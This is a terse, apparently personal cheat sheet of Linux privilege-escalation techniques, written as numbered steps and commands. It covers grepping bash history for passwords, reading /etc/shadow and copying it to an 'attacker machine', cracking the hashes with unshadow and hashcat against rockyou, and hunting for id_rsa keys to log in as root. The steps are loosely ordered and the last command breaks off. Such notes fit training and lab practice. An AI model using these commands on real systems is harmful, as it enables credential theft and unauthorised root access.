Linux priv escalation
// look for passwds in bash history
// Privilege Escalation - Stored Passwords (History)
cat ~/.bash_history | grep -i passw//Privilege Escalation - Weak File Permissions
ls -la /etc/shadow
2. Note the file permissions
1. In command prompt type: cat /etc/passwd
2. Save the output to a file on your attacker machine
3. In command prompt type: cat /etc/shadow
4. Save the output to a file on your attacker machine
unshadow <PASSWORD-FILE> <SHADOW-FILE> > unshadowed.txt
hashcat -m 1800 unshadowed.txt rockyou.txt -O
// Privilege Escalation - SSH Keys
1. In command prompt type:
find / -name authorized_keys 2> /dev/null
2. In a command prompt type:
find / -name id_rsa 2> /dev/null
3. Note the results.
Copy the contents of the discovered id_rsa file to a file on your attacker VM.
attacker
1. In command prompt type: chmod 400 id_rsa
2. In command prompt type: ssh -i id_rsa root@<ip
Last updated




